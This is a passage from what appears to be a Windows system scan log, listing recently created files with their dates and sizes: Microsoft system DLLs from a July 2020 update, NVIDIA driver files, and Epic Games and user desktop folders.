2020-07-15 23:50 - 2020-07-15 23:50 - 000345560 _____ (Microsoft Corporation) C:\Windows\SysWOW64\tsmf.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000341504 _____ (Microsoft Corporation) C:\Windows\SysWOW64\AboveLockAppHost.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000340328 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Storage.ApplicationData.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000338944 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.Devices.Picker.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000335360 _____ (Microsoft Corporation) C:\Windows\SysWOW64\MicrosoftAccountWAMExtension.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000334336 _____ (Microsoft Corporation) C:\Windows\system32\SettingsHandlers_Cortana.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000329728 _____ (Microsoft Corporation) C:\Windows\SysWOW64\upnphost.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000328192 _____ (Microsoft Corporation) C:\Windows\SysWOW64\edgeIso.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000327168 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.Graphics.Printing.Workflow.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000327168 _____ (Microsoft Corporation) C:\Windows\system32\windows.internal.shellcommon.shareexperience.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000324096 _____ (Microsoft Corporation) C:\Windows\SysWOW64\win32k.sys
2020-07-15 23:50 - 2020-07-15 23:50 - 000317440 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.Devices.Midi.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000316928 _____ (Microsoft Corporation) C:\Windows\system32\SyncSettings.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000311608 _____ (Microsoft Corporation) C:\Windows\system32\CloudExperienceHostBroker.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000311440 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.Media.Devices.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000306688 _____ (Microsoft Corporation) C:\Windows\system32\Windows.UI.CredDialogController.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000295936 _____ (Microsoft Corporation) C:\Windows\system32\TDLMigration.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000293888 _____ (Microsoft Corporation) C:\Windows\system32\CXHProvisioningServer.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000293376 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wpnclient.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000292864 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.System.Diagnostics.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000290304 _____ (Microsoft Corporation) C:\Windows\system32\vaultcli.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000287744 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.Gaming.Preview.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000285184 _____ (Microsoft Corporation) C:\Windows\system32\WaaSMedicCapsule.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000283648 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.Networking.NetworkOperators.ESim.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000283136 _____ (Microsoft Corporation) C:\Windows\system32\Windows.UI.AppDefaults.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000281600 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Devices.HumanInterfaceDevice.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000280576 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.Devices.Usb.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000275968 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.Devices.Lights.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000274432 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Security.Authentication.Identity.Provider.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000272384 _____ (Microsoft Corporation) C:\Windows\SysWOW64\PickerPlatform.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000268552 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.Storage.ApplicationData.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000266552 _____ (Microsoft Corporation) C:\Windows\SysWOW64\SystemSettings.DataModel.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000265728 _____ (Microsoft Corporation) C:\Windows\system32\netman.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000261632 _____ (Microsoft Corporation) C:\Windows\system32\bthprops.cpl
2020-07-15 23:50 - 2020-07-15 23:50 - 000260288 _____ (Microsoft Corporation) C:\Windows\system32\logoncli.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000256000 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ConsoleLogon.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000248832 _____ (Microsoft Corporation) C:\Windows\system32\PasswordEnrollmentManager.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000247864 _____ (Microsoft Corporation) C:\Windows\system32\weretw.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000243200 _____ (Microsoft Corporation) C:\Windows\system32\SystemEventsBrokerServer.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000242688 _____ (Microsoft Corporation) C:\Windows\system32\CapabilityAccessManagerClient.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000241152 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.UI.CredDialogController.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000240640 _____ (Microsoft Corporation) C:\Windows\system32\dialclient.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000239928 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Management.Workplace.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000237056 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Internal.CapturePicker.Desktop.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000237056 _____ (Microsoft Corporation) C:\Windows\system32\psmsrv.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000237056 _____ (Microsoft Corporation) C:\Windows\system32\pku2u.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000231424 _____ (Microsoft Corporation) C:\Windows\system32\HoloShellRuntime.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000228864 _____ (Microsoft Corporation) C:\Windows\system32\wersvc.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000228864 _____ (Microsoft Corporation) C:\Windows\system32\netprofm.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000227840 _____ (Microsoft Corporation) C:\Windows\SysWOW64\SyncSettings.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000224768 _____ (Microsoft Corporation) C:\Windows\system32\DWWIN.EXE
2020-07-15 23:50 - 2020-07-15 23:50 - 000220992 _____ (Microsoft Corporation) C:\Windows\system32\wermgr.exe
2020-07-15 23:50 - 2020-07-15 23:50 - 000220672 _____ (Microsoft Corporation) C:\Windows\system32\MtcModel.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000219136 _____ (Microsoft Corporation) C:\Windows\system32\wdigest.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000217600 _____ (Microsoft Corporation) C:\Windows\SysWOW64\bthprops.cpl
2020-07-15 23:50 - 2020-07-15 23:50 - 000217600 _____ (Microsoft Corporation) C:\Windows\system32\Windows.ApplicationModel.Core.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000215552 _____ (Microsoft Corporation) C:\Windows\system32\UserDeviceRegistration.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000215040 _____ (Microsoft Corporation) C:\Windows\system32\PeopleBand.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000215040 _____ (Microsoft Corporation) C:\Windows\system32\DiagSvc.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000211256 _____ (Microsoft Corporation) C:\Windows\system32\tcbloader.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000210944 _____ (Microsoft Corporation) C:\Windows\system32\ErrorDetails.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000206336 _____ (Microsoft Corporation) C:\Windows\system32\useractivitybroker.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000204608 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\spacedump.sys
2020-07-15 23:50 - 2020-07-15 23:50 - 000200704 _____ (Microsoft Corporation) C:\Windows\system32\Windows.UI.Internal.Input.ExpressiveInput.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000199496 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wermgr.exe
2020-07-15 23:50 - 2020-07-15 23:50 - 000196096 _____ (Microsoft Corporation) C:\Windows\SysWOW64\pku2u.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000195584 _____ (Microsoft Corporation) C:\Windows\system32\AarSvc.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000193600 _____ (Microsoft Corporation) C:\Windows\SysWOW64\weretw.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000190056 _____ (Microsoft Corporation) C:\Windows\SysWOW64\logoncli.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000188928 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.Security.Authentication.Identity.Provider.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000188928 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.Devices.HumanInterfaceDevice.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000186880 _____ (Microsoft Corporation) C:\Windows\SysWOW64\DWWIN.EXE
2020-07-15 23:50 - 2020-07-15 23:50 - 000186368 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wdigest.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000183808 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Energy.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000180224 _____ (Microsoft Corporation) C:\Windows\system32\dialserver.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000179712 _____ (Microsoft Corporation) C:\Windows\system32\SettingsHandlers_Clipboard.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000179512 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\ksecpkg.sys
2020-07-15 23:50 - 2020-07-15 23:50 - 000179200 _____ (Microsoft Corporation) C:\Windows\system32\PrintWorkflowService.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000179200 _____ (Microsoft Corporation) C:\Windows\system32\easwrt.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000179200 _____ (Microsoft Corporation) C:\Windows\system32\AppExtension.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000178688 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Internal.Graphics.Display.DisplayEnhancementManagement.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000176952 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.Management.Workplace.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000172032 _____ (Microsoft Corporation) C:\Windows\SysWOW64\HoloShellRuntime.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000172032 _____ (Microsoft Corporation) C:\Windows\SysWOW64\dialclient.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000172032 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Internal.CapturePicker.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000165840 _____ (Microsoft Corporation) C:\Windows\system32\WerFaultSecure.exe
2020-07-15 23:50 - 2020-07-15 23:50 - 000165376 _____ (Microsoft Corporation) C:\Windows\splwow64.exe
2020-07-15 23:50 - 2020-07-15 23:50 - 000162816 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ErrorDetails.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000162304 _____ (Microsoft Corporation) C:\Windows\SysWOW64\UserDeviceRegistration.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000160768 _____ (Microsoft Corporation) C:\Windows\SysWOW64\CapabilityAccessManagerClient.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000159744 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.ApplicationModel.Core.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000157184 _____ (Microsoft Corporation) C:\Windows\system32\PrintWSDAHost.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000152064 _____ (Microsoft Corporation) C:\Windows\SysWOW64\useractivitybroker.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000151552 _____ (Microsoft Corporation) C:\Windows\system32\fdWSD.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000151040 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Devices.SerialCommunication.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000150336 _____ (Microsoft Corporation) C:\Windows\SysWOW64\WerFaultSecure.exe
2020-07-15 23:50 - 2020-07-15 23:50 - 000147968 _____ (Microsoft Corporation) C:\Windows\system32\Family.Client.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000146232 _____ (Microsoft Corporation) C:\Windows\system32\ResourcePolicyServer.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000144384 _____ (Microsoft Corporation) C:\Windows\system32\AppointmentActivation.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000143360 _____ (Microsoft Corporation) C:\Windows\SysWOW64\easwrt.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000141312 _____ (Microsoft Corporation) C:\Windows\SysWOW64\PrintWorkflowService.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000140800 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.Energy.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000133632 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.Internal.Graphics.Display.DisplayEnhancementManagement.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000133632 _____ (Microsoft Corporation) C:\Windows\SysWOW64\AppExtension.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000132608 _____ (Microsoft Corporation) C:\Windows\system32\Windows.UI.Storage.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000132408 _____ (Microsoft Corporation) C:\Windows\system32\offlinelsa.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000131584 _____ (Microsoft Corporation) C:\Windows\system32\DevicePairingExperienceMEM.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000131072 _____ (Microsoft Corporation) C:\Windows\system32\CredDialogBroker.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000130560 _____ (Microsoft Corporation) C:\Windows\system32\StorageUsage.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000129536 _____ (Microsoft Corporation) C:\Windows\system32\CameraCaptureUI.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000128512 _____ (Microsoft Corporation) C:\Windows\system32\CaptureService.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000127488 _____ (Microsoft Corporation) C:\Windows\SysWOW64\fdWSD.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000127064 _____ (Microsoft Corporation) C:\Windows\system32\win32u.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000125952 _____ (Microsoft Corporation) C:\Windows\system32\fontsub.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000124928 _____ (Microsoft Corporation) C:\Windows\system32\wercplsupport.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000121856 _____ (Microsoft Corporation) C:\Windows\SysWOW64\PrintWSDAHost.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000118784 _____ (Microsoft Corporation) C:\Windows\system32\Windows.ApplicationModel.Background.SystemEventsBroker.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000118272 _____ (Microsoft Corporation) C:\Windows\system32\EaseOfAccessDialog.exe
2020-07-15 23:50 - 2020-07-15 23:50 - 000115712 _____ (Microsoft Corporation) C:\Windows\SysWOW64\AppointmentActivation.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000112128 _____ (Microsoft Corporation) C:\Windows\system32\AxInstSv.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000110040 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Security.Credentials.UI.CredentialPicker.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000107520 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.Devices.SerialCommunication.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000105984 _____ (Microsoft Corporation) C:\Windows\system32\utcutil.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000100864 _____ (Microsoft Corporation) C:\Windows\system32\sethc.exe
2020-07-15 23:50 - 2020-07-15 23:50 - 000100864 _____ (Microsoft Corporation) C:\Windows\system32\Family.Authentication.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000100352 _____ (Microsoft Corporation) C:\Windows\system32\DiagnosticInvoker.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000099328 _____ (Microsoft Corporation) C:\Windows\SysWOW64\fontsub.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000094720 _____ (Microsoft Corporation) C:\Windows\SysWOW64\CameraCaptureUI.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000094208 _____ (Microsoft Corporation) C:\Windows\SysWOW64\EaseOfAccessDialog.exe
2020-07-15 23:50 - 2020-07-15 23:50 - 000093184 _____ (Microsoft Corporation) C:\Windows\system32\nlaapi.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000092672 _____ (Microsoft Corporation) C:\Windows\system32\wsqmcons.exe
2020-07-15 23:50 - 2020-07-15 23:50 - 000091648 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Internal.Graphics.Display.DisplayColorManagement.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000090624 _____ (Microsoft Corporation) C:\Windows\system32\keyiso.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000089600 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.ApplicationModel.Background.SystemEventsBroker.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000089328 _____ (Microsoft Corporation) C:\Windows\SysWOW64\win32u.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000089088 _____ (Microsoft Corporation) C:\Windows\system32\WaaSMedicAgent.exe
2020-07-15 23:50 - 2020-07-15 23:50 - 000086272 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.Security.Credentials.UI.CredentialPicker.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000083456 _____ (Microsoft Corporation) C:\Windows\system32\SystemUWPLauncher.exe
2020-07-15 23:50 - 2020-07-15 23:50 - 000082432 _____ (Microsoft Corporation) C:\Windows\system32\LocationFrameworkInternalPS.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000081408 _____ (Microsoft Corporation) C:\Windows\system32\Print.Workflow.Source.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000079360 _____ (Microsoft Corporation) C:\Windows\SysWOW64\sethc.exe
2020-07-15 23:50 - 2020-07-15 23:50 - 000076952 _____ (Microsoft Corporation) C:\Windows\system32\CredentialEnrollmentManagerForUser.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000075776 _____ (Microsoft Corporation) C:\Windows\SysWOW64\DiagnosticInvoker.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000071168 _____ (Microsoft Corporation) C:\Windows\system32\MiracastReceiverExt.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000070248 _____ (Microsoft Corporation) C:\Windows\system32\ResourcePolicyClient.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000068096 _____ (Microsoft Corporation) C:\Windows\system32\udhisapi.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000066560 _____ (Microsoft Corporation) C:\Windows\SysWOW64\keyiso.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000066048 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.Internal.Graphics.Display.DisplayColorManagement.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000065536 _____ (Microsoft Corporation) C:\Windows\system32\iemigplugin.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000064512 _____ (Microsoft Corporation) C:\Windows\SysWOW64\SystemUWPLauncher.exe
2020-07-15 23:50 - 2020-07-15 23:50 - 000063488 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iemigplugin.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000063488 _____ (Microsoft Corporation) C:\Windows\system32\tsgqec.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000061952 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Print.Workflow.Source.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000060928 _____ (Microsoft Corporation) C:\Windows\system32\mf3216.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000060416 _____ (Microsoft Corporation) C:\Windows\system32\AxInstUI.exe
2020-07-15 23:50 - 2020-07-15 23:50 - 000058368 _____ (Microsoft Corporation) C:\Windows\SysWOW64\udhisapi.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000058368 _____ (Microsoft Corporation) C:\Windows\SysWOW64\MiracastReceiverExt.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000052152 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ResourcePolicyClient.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000050688 _____ (Microsoft Corporation) C:\Windows\SysWOW64\tsgqec.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000046080 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mf3216.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000045056 _____ (Microsoft Corporation) C:\Windows\system32\npmproxy.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000044544 _____ (Microsoft Corporation) C:\Windows\system32\werdiagcontroller.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000040960 _____ (Microsoft Corporation) C:\Windows\system32\upnpcont.exe
2020-07-15 23:50 - 2020-07-15 23:50 - 000040248 _____ (Microsoft Corporation) C:\Windows\system32\LocationFrameworkPS.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000038912 _____ (Microsoft Corporation) C:\Windows\SysWOW64\werdiagcontroller.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000037376 _____ (Microsoft Corporation) C:\Windows\system32\UIMgrBroker.exe
2020-07-15 23:50 - 2020-07-15 23:50 - 000035328 _____ (Microsoft Corporation) C:\Windows\SysWOW64\upnpcont.exe
2020-07-15 23:50 - 2020-07-15 23:50 - 000029696 _____ (Microsoft Corporation) C:\Windows\system32\SystemEventsBrokerClient.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000029696 _____ (Microsoft Corporation) C:\Windows\system32\nlmproxy.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000028672 _____ (Microsoft Corporation) C:\Windows\system32\WaaSMedicPS.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000026112 _____ (Microsoft Corporation) C:\Windows\system32\PrintWorkflowProxy.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000024064 _____ (Microsoft Corporation) C:\Windows\system32\CSystemEventsBrokerClient.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000021504 _____ (Microsoft Corporation) C:\Windows\SysWOW64\SystemEventsBrokerClient.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000017408 _____ (Microsoft Corporation) C:\Windows\system32\nlmsprep.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000016896 _____ (Microsoft Corporation) C:\Windows\SysWOW64\PrintWorkflowProxy.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000016896 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Graphics.Printing.Workflow.Native.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000014336 _____ (Microsoft Corporation) C:\Windows\system32\dciman32.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000013824 _____ (Microsoft Corporation) C:\Windows\system32\UIManagerBrokerps.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000012288 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.Graphics.Printing.Workflow.Native.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000012288 _____ (Microsoft Corporation) C:\Windows\system32\RemoteFXvGPUDisablement.exe
2020-07-15 23:50 - 2020-07-15 23:50 - 000011776 _____ (Microsoft Corporation) C:\Windows\SysWOW64\dciman32.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000008192 _____ (Microsoft Corporation) C:\Windows\system32\msimg32.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000007168 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msimg32.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000003072 _____ (Microsoft Corporation) C:\Windows\system32\lpk.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000002560 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msxml6r.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000002560 _____ (Microsoft Corporation) C:\Windows\SysWOW64\lpk.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000002560 _____ (Microsoft Corporation) C:\Windows\system32\msxml6r.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000000315 _____ C:\Windows\system32\DrtmAuth9.bin
2020-07-15 23:50 - 2020-07-15 23:50 - 000000315 _____ C:\Windows\system32\DrtmAuth8.bin
2020-07-15 23:50 - 2020-07-15 23:50 - 000000315 _____ C:\Windows\system32\DrtmAuth7.bin
2020-07-15 23:50 - 2020-07-15 23:50 - 000000315 _____ C:\Windows\system32\DrtmAuth6.bin
2020-07-15 23:50 - 2020-07-15 23:50 - 000000315 _____ C:\Windows\system32\DrtmAuth5.bin
2020-07-15 23:50 - 2020-07-15 23:50 - 000000315 _____ C:\Windows\system32\DrtmAuth4.bin
2020-07-15 23:50 - 2020-07-15 23:50 - 000000315 _____ C:\Windows\system32\DrtmAuth3.bin
2020-07-15 23:50 - 2020-07-15 23:50 - 000000315 _____ C:\Windows\system32\DrtmAuth2.bin
2020-07-15 23:50 - 2020-07-15 23:50 - 000000315 _____ C:\Windows\system32\DrtmAuth12.bin
2020-07-15 23:50 - 2020-07-15 23:50 - 000000315 _____ C:\Windows\system32\DrtmAuth11.bin
2020-07-15 23:50 - 2020-07-15 23:50 - 000000315 _____ C:\Windows\system32\DrtmAuth10.bin
2020-07-15 23:50 - 2020-07-15 23:50 - 000000315 _____ C:\Windows\system32\DrtmAuth1.bin
2020-07-15 23:46 - 2020-06-30 06:32 - 000390656 _____ (Microsoft Corporation) C:\Windows\SysWOW64\poqexec.exe
2020-07-15 23:46 - 2020-06-30 06:26 - 000492544 _____ (Microsoft Corporation) C:\Windows\system32\poqexec.exe
2020-07-15 17:56 - 2020-07-11 02:28 - 000000000 ____D C:\Users\Oliwer\Desktop\pgc24.pl
2020-07-15 13:13 - 2020-07-15 17:05 - 000000000 ____D C:\Users\Oliwer\Desktop\moja_strona
2020-07-14 22:12 - 2020-07-14 22:12 - 000000000 ____D C:\Users\Oliwer\AppData\Roaming\KF2
2020-07-14 22:11 - 2020-07-14 22:11 - 000000000 ____D C:\Users\Oliwer\AppData\Local\Epic Games
2020-07-11 17:59 - 2020-03-04 14:54 - 001804784 _____ (Microsoft Corporation) C:\Windows\system32\WdfCoInstaller01011.dll
2020-07-11 17:59 - 2020-03-04 14:54 - 000050592 _____ (NVIDIA Corporation) C:\Windows\system32\Drivers\NvModuleTracker.sys
2020-07-11 11:44 - 2020-08-01 00:14 - 000000000 ____D C:\Program Files\Epic Games
2020-07-11 11:40 - 2020-07-11 11:41 - 000000000 ____D C:\ProgramData\Epic
2020-07-11 11:40 - 2020-07-11 11:40 - 000001270 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Epic Games Launcher.lnk
2020-07-11 11:40 - 2020-07-11 11:40 - 000000000 ____D C:\Users\Oliwer\AppData\Local\UnrealEngineLauncher
2020-07-11 11:40 - 2020-07-11 11:40 - 000000000 ____D C:\Users\Oliwer\AppData\Local\EpicGamesLauncher
2020-07-11 11:40 - 2020-07-11 11:40 - 000000000 ____D C:\Program Files (x86)\Epic Games
2020-07-10 21:58 - 2020-07-08 05:45 - 000039824 _____ (NVIDIA Corporation) C:\Windows\system32\Drivers\nvhdap64.dll
2020-07-10 21:58 - 2020-07-07 17:47 - 000456600 _____ (Khronos Group) C:\Windows\system32\OpenCL.dll
2020-07-10 21:58 - 2020-07-07 17:47 - 000349936 _____ (Khronos Group) C:\Windows\SysWOW64\OpenCL.dll
2020-07-10 21:58 - 2020-07-07 17:46 - 000674016 _____ C:\Windows\system32\nvofapi64.dll
2020-07-10 21:58 - 2020-07-07 17:46 - 000541928 _____ C:\Windows\SysWOW64\nvofapi.dll
2020-07-10 21:58 - 2020-07-07 17:45 - 006652824 _____ (NVIDIA Corporation) C:\Windows\system32\nvcuvid.dll
2020-07-10 21:58 - 2020-07-07 17:45 - 005883288 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvcuvid.dll
2020-07-10 21:58 - 2020-07-07 17:45 - 003901680 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvcuda.dll
2020-07-10 21:58 - 2020-07-07 17:45 - 002367728 _____ (NVIDIA Corporation) C:\Windows\system32\nvcuda.dll
2020-07-10 21:58 - 2020-07-07 17:45 - 002076568 _____ (NVIDIA Corporation) C:\Windows\system32\NvFBC64.dll
